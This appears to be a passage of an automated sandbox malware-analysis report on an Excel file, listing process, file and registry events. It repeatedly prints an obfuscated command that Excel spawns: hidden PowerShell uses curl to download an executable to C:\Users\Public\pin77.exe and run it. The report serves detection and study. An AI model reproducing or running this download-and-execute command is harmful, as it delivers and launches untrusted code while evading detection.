Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Users\Public\pin77.exeWindow detected: Number of UI elements: 20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Data Obfuscation

barindex
Obfuscated command line found
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A99B3 push ecx; ret 20_2_003A99C6
Source: pin77.exe.3.drStatic PE information: section name: .00cfg
Source: pin77.exe.3.drStatic PE information: section name: .voltbl
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\pin77.exeJump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\pin77.exeJump to dropped file

Boot Survival

barindex
Drops PE files to the user root directory
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\pin77.exeJump to dropped file
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F8230 IsIconic,SetWindowTextW,SetWindowTextA,12_2_002F8230
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F82E0 IsIconic,SetWindowTextW,SetWindowTextA,12_2_002F82E0
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F8390 IsIconic,ShowWindow,12_2_002F8390
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F8230 IsIconic,SetWindowTextW,SetWindowTextA,20_2_002F8230
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F82E0 IsIconic,SetWindowTextW,SetWindowTextA,20_2_002F82E0
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F8390 IsIconic,ShowWindow,20_2_002F8390
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F46E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoInitialize,MessageBoxA,12_2_002F46E0
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
